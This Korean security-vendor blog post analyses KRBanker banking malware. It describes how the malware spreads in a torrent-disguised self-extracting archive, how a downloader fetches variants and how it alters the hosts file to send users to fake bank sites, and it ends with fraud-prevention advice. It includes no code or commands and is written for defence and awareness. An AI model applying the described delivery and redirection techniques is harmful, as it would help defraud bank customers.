해당 파일은 자동압축해제 기능의 SFX ZIP 형식으로 만들어져 있으며, 내부에는 "home.exe" 이름의 악성파일과 실제 "111.torrent" 파일이 포함되어 있다. 따라서 이용자가 파일을 실행할 경우 악성파일이 은밀히 실행되고, 이용자를 속이기 위해서 실제 정상적인 토렌트 파일을 실행하게 된다.


"home.exe" 파일은 일종의 악성파일 다운로더(Downloader) 기능을 수행하게 되며, 특정 웹 서버로 접속해서 국내 인터넷 뱅킹용 악성파일(KRBanker)을 추가로 설치하는 기능을 수행한다.

아래 화면은 실제 "home.exe" 악성파일의 내부 코드를 분석한 이미지이며, 특정 서버에 등록되어 있는 "abcd123.exe" 악성파일을 추가로 다운로드하고 실행하는 것을 확인할 수 있다.


잉카인터넷 대응팀은 악성파일(KRBanker)이 등록된 파일서버(HttpFileSever v2.3 beta)를 분석한 결과 중국어로 구축되어 있으며, 국내 인터넷 뱅킹용 악성파일 변종이 추가로 등록되어 있는 것을 확인할 수 있었다. 또한, 약 2만 3천 여명의 사용자가 악성파일에 접근(다운로드)했던 조회수도 확인한 상태이다.


해당 서버는 한국인터넷진흥원(KISA)에 협조를 요청하여, 현재는 접속을 차단시킨 상태이다. 해당 서버에 등록되어 있던 "abcd123.exe", "TEST.exe", "v3lite.exe" 등은 모두 내부에 국내 인터넷 뱅킹용 악성파일을 포함하고 있는 KRBanker 변종들이다.

 


악성파일이 실행되어 감염되면 "IPCONFIG.INI" 파일에 포함되어 있는 IP주소에 따라 피싱사이트로 호스트파일(hosts)이 변경되고, 이용자가 정상적인 국내 인터넷 뱅킹 사이트에 접속하더라도 악성파일이 조작한 피싱사이트로 연결된다.

이처럼 전자금융사기용 악성파일이 다양한 경로로 유포되고 있고, 이용자들의 심리를 교묘히 이용하고 있다는 점을 명심해야 한다.

최근에는 이런 형태의 악성파일에 감염되고, 피싱사이트에 속아 개인금융 정보 및 보안카드의 모든 번호를 입력하여 자신의 소중한 예금이 탈취되는 피해도 꾸준이 보고되고 있는 실정이다.

[매일경제]등록금 털어간 신종피싱 `파밍`
http://news.mk.co.kr/newsRead.php?year=2013&no=3717


3. 은행 보안카드 번호를 모두 입력하는 경우는 절대 없다.

국내 인터넷 뱅킹용 악성파일(KRBanker) 변종에 대한 대대적인 주의보와 신속한 IP주소 등의 차단에도 불구하고, 악성파일 제작자들은 공격은 끊임없이 진행되고 있다. 거기에 최근에는 다양한 기법을 도입하는 등 악성파일은 점차 정교화 지능화되고 있는 양상이다.

악성파일 제작자들은 시간이 지날 수록 더욱 교묘하고 대담해지고 있으며, 최근에는 이용자의 시스템을 파괴하는 등의 공격성까지 띄고 있어 이용자들의 각별한 주의가 필요하다. 이런 종류의 전자금융사기는 대부분이 보안강화(승급)서비스나 전자금융사기 예방 서비스 등을 사칭하여 이용자의 금융정보를 입력하도록 유혹한다.

특히, 공통적으로 은행 보안카드의 모든 번호를 입력하도록 유도하는 공통점이 있다는 점에 주목해야 한다.

사이버 범죄 조직들은 위조된 가짜 화면과 악성파일 기능을 통해서 공인인증서(NPKI) 탈취와 계좌번호 등을 평소와 비슷한 은행서비스로 위장하여 손쉽게 탈취할 수 있지만, 보안카드의 모든 번호를 입력하는 경우는 실제로 존재하지 않기 때문에 이용자들의 의심을 받을 가능성이 높다. 실제 인터넷 뱅킹 서비스에는 어떤 경우라도 보안카드의 모든 번호를 요구하는 경우는 절대로 없다는 것을 명심해야 한다.

만약, 보안카드의 모든 번호를 입력하라는 화면을 보게 된다면 100% 피싱사이트이므로, 정보 입력작업을 즉시 중단하고 관계 금융사나 보안업체 등에 신속히 신고하여 악성파일 감염 유무 등을 점검해 보아야 한다.

보통의 가짜 인터넷 뱅킹 사이트는 사용자의 개인정보를 과도하게 입력하도록 요구하는 것이 공통점이므로, 평상시와 다르게 요구하는 정보가 많아졌거나, 인터넷 뱅킹 사이트에 오타 등 이상한 문구 등을 발견할 경우 개인정보 입력을 중단하여야 한다.

공인인증서 파일은 USB 이동 디스크 등에 별도 암호화하여 보관하고, 보안카드 전체 번호는 절대로 모두 입력하거나 이미지로 저장하여 별도로 보관하지 않도록 주의해야 한다.

전자금융사기 사이트의 경우 대부분 보안카드의 전체 번호를 입력하도록 요구하고 있다는 점을 절대 잊어서는 안된다. 또, 제작자들이 악성파일의 은폐와 함께 이제는 사용자의 시스템까지 파괴할려는 시도를 하고 있다는 점에서 악성파일 유입을 사전에 차단하는 것이 매우 중요해 지고 있다.


해당 악성 파일은 대부분의 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect